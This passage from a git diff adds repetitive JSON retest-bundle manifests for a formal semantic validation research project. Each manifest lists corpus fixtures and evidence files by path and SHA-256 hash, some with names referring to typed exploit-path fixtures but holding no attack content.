"docs/research/formal-semantic-validation/corpus/determinism-b.sdl.yaml", + "sha256": "d85338f89f20a45515b12da8640173c1a52e47eb17ca0f4f6b4f8f3306e863a1" + } + ], + "bundle_id": "raes-formal-semantic-validation", + "corpus_path": "docs/research/formal-semantic-validation/corpus/manifest-v4.json", + "corpus_sha256": "c57207af72406aa4f70882b9bbeb7cedcc79cf3854c878a95e3eb1fa59ea7a72", + "protocol_path": "docs/research/formal-semantic-validation/protocol-v2.json", + "protocol_sha256": "abf94093e344bf495dfb04e8b0c5985c0beaab8ebb17a75e15c8674fa81b1a7c", + "revision": "59.0.0", + "snapshot_path": "docs/research/formal-semantic-validation/execution-snapshot-v58.json", + "snapshot_sha256": "dcbdca2140a62d3425b5adf2a95f80e0f9e266c885fdedde98c74fe8a2b78a12" +} diff --git a/docs/research/formal-semantic-validation/bundles/retest-v59.json b/docs/research/formal-semantic-validation/bundles/retest-v59.json new file mode 100644 index 000000000..fb680f300 --- /dev/null +++ b/docs/research/formal-semantic-validation/bundles/retest-v59.json @@ -0,0 +1,122 @@ +{ + "analysis_path": "docs/research/formal-semantic-validation/analysis-v59.json", + "analysis_sha256": "29953fcb7fc37c52ea88017e27e49aeb41f986a9b980e9ec6bacef0a635bd383", + "artifacts": [ + { + "artifact_id": "finite-domain-satisfiable-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "sha256": "0ca9eaba9dc47171f7a042dc6753faa6c820c65ee966538f9d65fac5342202e8" + }, + { + "artifact_id": "finite-domain-satisfiable-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "sha256": "554202313d678046958b5c028e2de26ff03c74895cfac552677eed74e8153add" + }, + { + "artifact_id": "finite-domain-unsatisfiable-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "sha256": "cfef56a1f56d5f0db9da195377fd75694bdd0f0b92932fdb8fafcbd3f7baf6c5" + }, + { + "artifact_id": "finite-domain-unsatisfiable-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "sha256": "c972725ef64822a75a60380afc11f08eac25b7fe9b091d39b058b3c9f7c8031d" + }, + { + "artifact_id": "typed-exploit-path-valid-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "sha256": "0afe635a63db5b6e6380ac70982fd61d09790745d51a10d670321304121e7c39" + }, + { + "artifact_id": "typed-exploit-path-valid-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "sha256": "1b7f55d04db172da32658187c64a88c13b5f4d565267ce2be7cb86a9d04cb70c" + }, + { + "artifact_id": "typed-exploit-path-invalid-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "sha256": "0b2293d4a8983515ff05c516be6e6b418a4f3f09e055250a00bf15fda861aab3" + }, + { + "artifact_id": "typed-exploit-path-invalid-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "sha256": "244f895a64f14c10916ab0533ab462ce80a328021cd6a50c30a4aa59266d5533" + }, + { + "artifact_id": "schema-valid-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/schema-valid.sdl.yaml", + "sha256": "41a9adffdf9f5f2ccc2f887dcf7b15fba3b47c83a1af15f33db872c4a2449d67" + }, + { + "artifact_id": "schema-unknown-field-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/schema-invalid-unknown-field.sdl.yaml", + "sha256": "51cf62319a86c95a2517995939d1f370573051835e4b55bb6d5beaf049640481" + }, + { + "artifact_id": "semantic-resolved-objective-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-valid-participant-identity-v2.sdl.yaml", + "sha256": "75834bdc883e2003e1c473870bdf75700978955bb83095c6bd718ba6bd3908a6" + }, + { + "artifact_id": "semantic-dangling-assertion-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-dangling-ref-participant-identity-v2.sdl.yaml", + "sha256": "1d25bee5f556054e5f0a518df025e4c62e080e1964035e3c1a12e074d88d3a5d" + }, + { + "artifact_id": "semantic-ambiguous-reference-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-ambiguous-ref.sdl.yaml", + "sha256": "653cbd2fd62e220d49fb86f80133884207df5ae6752846345ae3085b93f6e4ed" + }, + { + "artifact_id": "semantic-feature-cycle-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-feature-cycle.sdl.yaml", + "sha256": "e1f66d95a9ad039687aec8cccbc8843b514072ff08e006c1b4ca6aa5cd8d4ed1" + }, + { + "artifact_id": "workflow-reachable-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/workflow-reachable.sdl.yaml", + "sha256": "54c40ceb98ad47247447d737973b2c55e8fb2045e209c7545c4fb20cf42dc3dc" + }, + { + "artifact_id": "workflow-unreachable-step-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/workflow-unreachable.sdl.yaml", + "sha256": "ef22ef2e260f1a7fd92d286f9b571716436b192ddfd54aea7bdfcfdda4ca52a2" + }, + { + "artifact_id": "compile-repeatability-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "sha256": "0bc40900d598c1af7a405d798ca19710405e53ced262d8733081abf12edf89fe" + }, + { + "artifact_id": "compile-non-vacuity-control-comparison-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/determinism-b.sdl.yaml", + "sha256": "d85338f89f20a45515b12da8640173c1a52e47eb17ca0f4f6b4f8f3306e863a1" + } + ], + "bundle_id": "raes-formal-semantic-validation", + "corpus_path": "docs/research/formal-semantic-validation/corpus/manifest-v4.json", + "corpus_sha256": "c57207af72406aa4f70882b9bbeb7cedcc79cf3854c878a95e3eb1fa59ea7a72", + "protocol_path": "docs/research/formal-semantic-validation/protocol-v2.json", + "protocol_sha256": "abf94093e344bf495dfb04e8b0c5985c0beaab8ebb17a75e15c8674fa81b1a7c", + "revision": "60.0.0", + "snapshot_path": "docs/research/formal-semantic-validation/execution-snapshot-v59.json", + "snapshot_sha256": "af7852152b7949efccc6f7b1a96ff099f52017b69111dd53c4f7ae11f11ebdc5" +} diff --git a/docs/research/formal-semantic-validation/bundles/retest-v61.json b/docs/research/formal-semantic-validation/bundles/retest-v61.json new file mode 100644 index 000000000..6f5256c66 --- /dev/null +++ b/docs/research/formal-semantic-validation/bundles/retest-v61.json @@ -0,0 +1,122 @@ +{ + "analysis_path": "docs/research/formal-semantic-validation/analysis-v61.json", + "analysis_sha256": "3c41c3d1fc9c7a009250690d1a1b333342c36cfa4f283bcbc873e0793e23feed", + "artifacts": [ + { + "artifact_id": "finite-domain-satisfiable-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "sha256": "0ca9eaba9dc47171f7a042dc6753faa6c820c65ee966538f9d65fac5342202e8" + }, + { + "artifact_id": "finite-domain-satisfiable-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "sha256": "554202313d678046958b5c028e2de26ff03c74895cfac552677eed74e8153add" + }, + { + "artifact_id": "finite-domain-unsatisfiable-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "sha256": "cfef56a1f56d5f0db9da195377fd75694bdd0f0b92932fdb8fafcbd3f7baf6c5" + }, + { + "artifact_id": "finite-domain-unsatisfiable-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "sha256": "c972725ef64822a75a60380afc11f08eac25b7fe9b091d39b058b3c9f7c8031d" + }, + { + "artifact_id": "typed-exploit-path-valid-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "sha256": "0afe635a63db5b6e6380ac70982fd61d09790745d51a10d670321304121e7c39" + }, + { + "artifact_id": "typed-exploit-path-valid-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "sha256": "1b7f55d04db172da32658187c64a88c13b5f4d565267ce2be7cb86a9d04cb70c" + }, + { + "artifact_id": "typed-exploit-path-invalid-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "sha256": "0b2293d4a8983515ff05c516be6e6b418a4f3f09e055250a00bf15fda861aab3" + }, + { + "artifact_id": "typed-exploit-path-invalid-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "sha256": "244f895a64f14c10916ab0533ab462ce80a328021cd6a50c30a4aa59266d5533" + }, + { + "artifact_id": "schema-valid-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/schema-valid.sdl.yaml", + "sha256": "41a9adffdf9f5f2ccc2f887dcf7b15fba3b47c83a1af15f33db872c4a2449d67" + }, + { + "artifact_id": "schema-unknown-field-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/schema-invalid-unknown-field.sdl.yaml", + "sha256": "51cf62319a86c95a2517995939d1f370573051835e4b55bb6d5beaf049640481" + }, + { + "artifact_id": "semantic-resolved-objective-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-valid-participant-identity-v2.sdl.yaml", + "sha256": "75834bdc883e2003e1c473870bdf75700978955bb83095c6bd718ba6bd3908a6" + }, + { + "artifact_id": "semantic-dangling-assertion-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-dangling-ref-participant-identity-v2.sdl.yaml", + "sha256": "1d25bee5f556054e5f0a518df025e4c62e080e1964035e3c1a12e074d88d3a5d" + }, + { + "artifact_id": "semantic-ambiguous-reference-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-ambiguous-ref.sdl.yaml", + "sha256": "653cbd2fd62e220d49fb86f80133884207df5ae6752846345ae3085b93f6e4ed" + }, + { + "artifact_id": "semantic-feature-cycle-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-feature-cycle.sdl.yaml", + "sha256": "e1f66d95a9ad039687aec8cccbc8843b514072ff08e006c1b4ca6aa5cd8d4ed1" + }, + { + "artifact_id": "workflow-reachable-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/workflow-reachable.sdl.yaml", + "sha256": "54c40ceb98ad47247447d737973b2c55e8fb2045e209c7545c4fb20cf42dc3dc" + }, + { + "artifact_id": "workflow-unreachable-step-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/workflow-unreachable.sdl.yaml", + "sha256": "ef22ef2e260f1a7fd92d286f9b571716436b192ddfd54aea7bdfcfdda4ca52a2" + }, + { + "artifact_id": "compile-repeatability-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "sha256": "0bc40900d598c1af7a405d798ca19710405e53ced262d8733081abf12edf89fe" + }, + { + "artifact_id": "compile-non-vacuity-control-comparison-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/determinism-b.sdl.yaml", + "sha256": "d85338f89f20a45515b12da8640173c1a52e47eb17ca0f4f6b4f8f3306e863a1" + } + ], + "bundle_id": "raes-formal-semantic-validation", + "corpus_path": "docs/research/formal-semantic-validation/corpus/manifest-v4.json", + "corpus_sha256": "c57207af72406aa4f70882b9bbeb7cedcc79cf3854c878a95e3eb1fa59ea7a72", + "protocol_path": "docs/research/formal-semantic-validation/protocol-v2.json", + "protocol_sha256": "abf94093e344bf495dfb04e8b0c5985c0beaab8ebb17a75e15c8674fa81b1a7c", + "revision": "61.0.0", + "snapshot_path": "docs/research/formal-semantic-validation/execution-snapshot-v61.json", + "snapshot_sha256": "2e7343c23a224cc1e7892afcda0793991a02aa07eed7b2a447af4ba12c941550" +} diff --git a/docs/research/formal-semantic-validation/bundles/retest-v62.json b/docs/research/formal-semantic-validation/bundles/retest-v62.json new file mode 100644 index 000000000..7a5f87c32 --- /dev/null +++ b/docs/research/formal-semantic-validation/bundles/retest-v62.json @@ -0,0 +1,122 @@ +{ + "analysis_path": "docs/research/formal-semantic-validation/analysis-v62.json", + "analysis_sha256": "1b44bbddca43c4568e49b805e9c7f358113ab05e00010da6a9637a2cdb948ff2", + "artifacts": [ + { + "artifact_id": "finite-domain-satisfiable-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "sha256": "0ca9eaba9dc47171f7a042dc6753faa6c820c65ee966538f9d65fac5342202e8" + }, + { + "artifact_id": "finite-domain-satisfiable-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "sha256": "554202313d678046958b5c028e2de26ff03c74895cfac552677eed74e8153add" + }, + { + "artifact_id": "finite-domain-unsatisfiable-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "sha256": "cfef56a1f56d5f0db9da195377fd75694bdd0f0b92932fdb8fafcbd3f7baf6c5" + }, + { + "artifact_id": "finite-domain-unsatisfiable-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "sha256": "c972725ef64822a75a60380afc11f08eac25b7fe9b091d39b058b3c9f7c8031d" + }, + { + "artifact_id": "typed-exploit-path-valid-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "sha256": "0afe635a63db5b6e6380ac70982fd61d09790745d51a10d670321304121e7c39" + }, + { + "artifact_id": "typed-exploit-path-valid-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "sha256": "1b7f55d04db172da32658187c64a88c13b5f4d565267ce2be7cb86a9d04cb70c" + }, + { + "artifact_id": "typed-exploit-path-invalid-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "sha256": "0b2293d4a8983515ff05c516be6e6b418a4f3f09e055250a00bf15fda861aab3" + }, + { + "artifact_id": "typed-exploit-path-invalid-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "sha256": "244f895a64f14c10916ab0533ab462ce80a328021cd6a50c30a4aa59266d5533" + }, + { + "artifact_id": "schema-valid-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/schema-valid.sdl.yaml", + "sha256": "41a9adffdf9f5f2ccc2f887dcf7b15fba3b47c83a1af15f33db872c4a2449d67" + }, + { + "artifact_id": "schema-unknown-field-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/schema-invalid-unknown-field.sdl.yaml", + "sha256": "51cf62319a86c95a2517995939d1f370573051835e4b55bb6d5beaf049640481" + }, + { + "artifact_id": "semantic-resolved-objective-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-valid-participant-identity-v2.sdl.yaml", + "sha256": "75834bdc883e2003e1c473870bdf75700978955bb83095c6bd718ba6bd3908a6" + }, + { + "artifact_id": "semantic-dangling-assertion-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-dangling-ref-participant-identity-v2.sdl.yaml", + "sha256": "1d25bee5f556054e5f0a518df025e4c62e080e1964035e3c1a12e074d88d3a5d" + }, + { + "artifact_id": "semantic-ambiguous-reference-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-ambiguous-ref.sdl.yaml", + "sha256": "653cbd2fd62e220d49fb86f80133884207df5ae6752846345ae3085b93f6e4ed" + }, + { + "artifact_id": "semantic-feature-cycle-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-feature-cycle.sdl.yaml", + "sha256": "e1f66d95a9ad039687aec8cccbc8843b514072ff08e006c1b4ca6aa5cd8d4ed1" + }, + { + "artifact_id": "workflow-reachable-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/workflow-reachable.sdl.yaml", + "sha256": "54c40ceb98ad47247447d737973b2c55e8fb2045e209c7545c4fb20cf42dc3dc" + }, + { + "artifact_id": "workflow-unreachable-step-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/workflow-unreachable.sdl.yaml", + "sha256": "ef22ef2e260f1a7fd92d286f9b571716436b192ddfd54aea7bdfcfdda4ca52a2" + }, + { + "artifact_id": "compile-repeatability-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "sha256": "0bc40900d598c1af7a405d798ca19710405e53ced262d8733081abf12edf89fe" + }, + { + "artifact_id": "compile-non-vacuity-control-comparison-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/determinism-b.sdl.yaml", + "sha256": "d85338f89f20a45515b12da8640173c1a52e47eb17ca0f4f6b4f8f3306e863a1" + } + ], + "bundle_id": "raes-formal-semantic-validation", + "corpus_path": "docs/research/formal-semantic-validation/corpus/manifest-v4.json", + "corpus_sha256": "c57207af72406aa4f70882b9bbeb7cedcc79cf3854c878a95e3eb1fa59ea7a72", + "protocol_path": "docs/research/formal-semantic-validation/protocol-v2.json", + "protocol_sha256": "abf94093e344bf495dfb04e8b0c5985c0beaab8ebb17a75e15c8674fa81b1a7c", + "revision": "62.0.0", + "snapshot_path": "docs/research/formal-semantic-validation/execution-snapshot-v62.json", + "snapshot_sha256": "a9eefbde873e48ce0cead69bb27fbefdf0a5eaa70965b66dccd86f45624f9e1a" +} diff --git a/docs/research/formal-semantic-validation/bundles/retest-v63.json b/docs/research/formal-semantic-validation/bundles/retest-v63.json new file mode 100644 index 000000000..ee6422f89 --- /dev/null +++ b/docs/research/formal-semantic-validation/bundles/retest-v63.json @@ -0,0 +1,122 @@ +{ + "analysis_path": "docs/research/formal-semantic-validation/analysis-v63.json", + "analysis_sha256": "dda08cdc6cd72fc8c9c21fe3b7dead10c92e14524e04feabe4ce3aea76364ede", + "artifacts": [ + { + "artifact_id": "finite-domain-satisfiable-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "sha256": "0ca9eaba9dc47171f7a042dc6753faa6c820c65ee966538f9d65fac5342202e8" + }, + { + "artifact_id": "finite-domain-satisfiable-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "sha256": "554202313d678046958b5c028e2de26ff03c74895cfac552677eed74e8153add" + }, + { + "artifact_id": "finite-domain-unsatisfiable-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "sha256": "cfef56a1f56d5f0db9da195377fd75694bdd0f0b92932fdb8fafcbd3f7baf6c5" + }, + { + "artifact_id": "finite-domain-unsatisfiable-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "sha256": "c972725ef64822a75a60380afc11f08eac25b7fe9b091d39b058b3c9f7c8031d" + }, + { + "artifact_id": "typed-exploit-path-valid-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "sha256": "0afe635a63db5b6e6380ac70982fd61d09790745d51a10d670321304121e7c39" + }, + { + "artifact_id": "typed-exploit-path-valid-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "sha256": "1b7f55d04db172da32658187c64a88c13b5f4d565267ce2be7cb86a9d04cb70c" + }, + { + "artifact_id": "typed-exploit-path-invalid-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "sha256": "0b2293d4a8983515ff05c516be6e6b418a4f3f09e055250a00bf15fda861aab3" + }, + { + "artifact_id": "typed-exploit-path-invalid-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "sha256": "244f895a64f14c10916ab0533ab462ce80a328021cd6a50c30a4aa59266d5533" + }, + { + "artifact_id": "schema-valid-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/schema-valid.sdl.yaml", + "sha256": "41a9adffdf9f5f2ccc2f887dcf7b15fba3b47c83a1af15f33db872c4a2449d67" + }, + { + "artifact_id": "schema-unknown-field-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/schema-invalid-unknown-field.sdl.yaml", + "sha256": "51cf62319a86c95a2517995939d1f370573051835e4b55bb6d5beaf049640481" + }, + { + "artifact_id": "semantic-resolved-objective-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-valid-participant-identity-v2.sdl.yaml", + "sha256": "75834bdc883e2003e1c473870bdf75700978955bb83095c6bd718ba6bd3908a6" + }, + { + "artifact_id": "semantic-dangling-assertion-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-dangling-ref-participant-identity-v2.sdl.yaml", + "sha256": "1d25bee5f556054e5f0a518df025e4c62e080e1964035e3c1a12e074d88d3a5d" + }, + { + "artifact_id": "semantic-ambiguous-reference-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-ambiguous-ref.sdl.yaml", + "sha256": "653cbd2fd62e220d49fb86f80133884207df5ae6752846345ae3085b93f6e4ed" + }, + { + "artifact_id": "semantic-feature-cycle-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-feature-cycle.sdl.yaml", + "sha256": "e1f66d95a9ad039687aec8cccbc8843b514072ff08e006c1b4ca6aa5cd8d4ed1" + }, + { + "artifact_id": "workflow-reachable-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/workflow-reachable.sdl.yaml", + "sha256": "54c40ceb98ad47247447d737973b2c55e8fb2045e209c7545c4fb20cf42dc3dc" + }, + { + "artifact_id": "workflow-unreachable-step-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/workflow-unreachable.sdl.yaml", + "sha256": "ef22ef2e260f1a7fd92d286f9b571716436b192ddfd54aea7bdfcfdda4ca52a2" + }, + { + "artifact_id": "compile-repeatability-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "sha256": "0bc40900d598c1af7a405d798ca19710405e53ced262d8733081abf12edf89fe" + }, + { + "artifact_id": "compile-non-vacuity-control-comparison-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/determinism-b.sdl.yaml", + "sha256": "d85338f89f20a45515b12da8640173c1a52e47eb17ca0f4f6b4f8f3306e863a1" + } + ], + "bundle_id": "raes-formal-semantic-validation", + "corpus_path": "docs/research/formal-semantic-validation/corpus/manifest-v4.json", + "corpus_sha256": "c57207af72406aa4f70882b9bbeb7cedcc79cf3854c878a95e3eb1fa59ea7a72", + "protocol_path": "docs/research/formal-semantic-validation/protocol-v2.json", + "protocol_sha256": "abf94093e344bf495dfb04e8b0c5985c0beaab8ebb17a75e15c8674fa81b1a7c", + "revision": "63.0.0", + "snapshot_path": "docs/research/formal-semantic-validation/execution-snapshot-v63.json", + "snapshot_sha256": "f5d5b2f29d796ef1f04f12c250de144e6d3ea52b55cff47c7589f0276dc0b0f2" +} diff --git a/docs/research/formal-semantic-validation/bundles/retest-v64.json b/docs/research/formal-semantic-validation/bundles/retest-v64.json new file mode 100644 index 000000000..e3f0038d5 --- /dev/null +++ b/docs/research/formal-semantic-validation/bundles/retest-v64.json @@ -0,0 +1,122 @@ +{ + "analysis_path": "docs/research/formal-semantic-validation/analysis-v64.json", + "analysis_sha256": "9bab1375614530a6021434c557b033691a2feff57a5ffbc6fed6ebbbcbe9638a", + "artifacts": [ + { + "artifact_id": "finite-domain-satisfiable-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "sha256": "0ca9eaba9dc47171f7a042dc6753faa6c820c65ee966538f9d65fac5342202e8" + }, + { + "artifact_id": "finite-domain-satisfiable-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "sha256": "554202313d678046958b5c028e2de26ff03c74895cfac552677eed74e8153add" + }, + { + "artifact_id": "finite-domain-unsatisfiable-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "sha256": "cfef56a1f56d5f0db9da195377fd75694bdd0f0b92932fdb8fafcbd3f7baf6c5" + }, + { + "artifact_id": "finite-domain-unsatisfiable-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "sha256": "c972725ef64822a75a60380afc11f08eac25b7fe9b091d39b058b3c9f7c8031d" + }, + { + "artifact_id": "typed-exploit-path-valid-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "sha256": "0afe635a63db5b6e6380ac70982fd61d09790745d51a10d670321304121e7c39" + }, + { + "artifact_id": "typed-exploit-path-valid-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "sha256": "1b7f55d04db172da32658187c64a88c13b5f4d565267ce2be7cb86a9d04cb70c" + }, + { + "artifact_id": "typed-exploit-path-invalid-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "sha256": "0b2293d4a8983515ff05c516be6e6b418a4f3f09e055250a00bf15fda861aab3" + }, + { + "artifact_id": "typed-exploit-path-invalid-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "sha256": "244f895a64f14c10916ab0533ab462ce80a328021cd6a50c30a4aa59266d5533" + }, + { + "artifact_id": "schema-valid-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/schema-valid.sdl.yaml", + "sha256": "41a9adffdf9f5f2ccc2f887dcf7b15fba3b47c83a1af15f33db872c4a2449d67" + }, + { + "artifact_id": "schema-unknown-field-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/schema-invalid-unknown-field.sdl.yaml", + "sha256": "51cf62319a86c95a2517995939d1f370573051835e4b55bb6d5beaf049640481" + }, + { + "artifact_id": "semantic-resolved-objective-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-valid-participant-identity-v2.sdl.yaml", + "sha256": "75834bdc883e2003e1c473870bdf75700978955bb83095c6bd718ba6bd3908a6" + }, + { + "artifact_id": "semantic-dangling-assertion-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-dangling-ref-participant-identity-v2.sdl.yaml", + "sha256": "1d25bee5f556054e5f0a518df025e4c62e080e1964035e3c1a12e074d88d3a5d" + }, + { + "artifact_id": "semantic-ambiguous-reference-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-ambiguous-ref.sdl.yaml", + "sha256": "653cbd2fd62e220d49fb86f80133884207df5ae6752846345ae3085b93f6e4ed" + }, + { + "artifact_id": "semantic-feature-cycle-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-feature-cycle.sdl.yaml", + "sha256": "e1f66d95a9ad039687aec8cccbc8843b514072ff08e006c1b4ca6aa5cd8d4ed1" + }, + { + "artifact_id": "workflow-reachable-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/workflow-reachable.sdl.yaml", + "sha256": "54c40ceb98ad47247447d737973b2c55e8fb2045e209c7545c4fb20cf42dc3dc" + }, + { + "artifact_id": "workflow-unreachable-step-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/workflow-unreachable.sdl.yaml", + "sha256": "ef22ef2e260f1a7fd92d286f9b571716436b192ddfd54aea7bdfcfdda4ca52a2" + }, + { + "artifact_id": "compile-repeatability-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "sha256": "0bc40900d598c1af7a405d798ca19710405e53ced262d8733081abf12edf89fe" + }, + { + "artifact_id": "compile-non-vacuity-control-comparison-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/determinism-b.sdl.yaml", + "sha256": "d85338f89f20a45515b12da8640173c1a52e47eb17ca0f4f6b4f8f3306e863a1" + } + ], + "bundle_id": "raes-formal-semantic-validation", + "corpus_path": 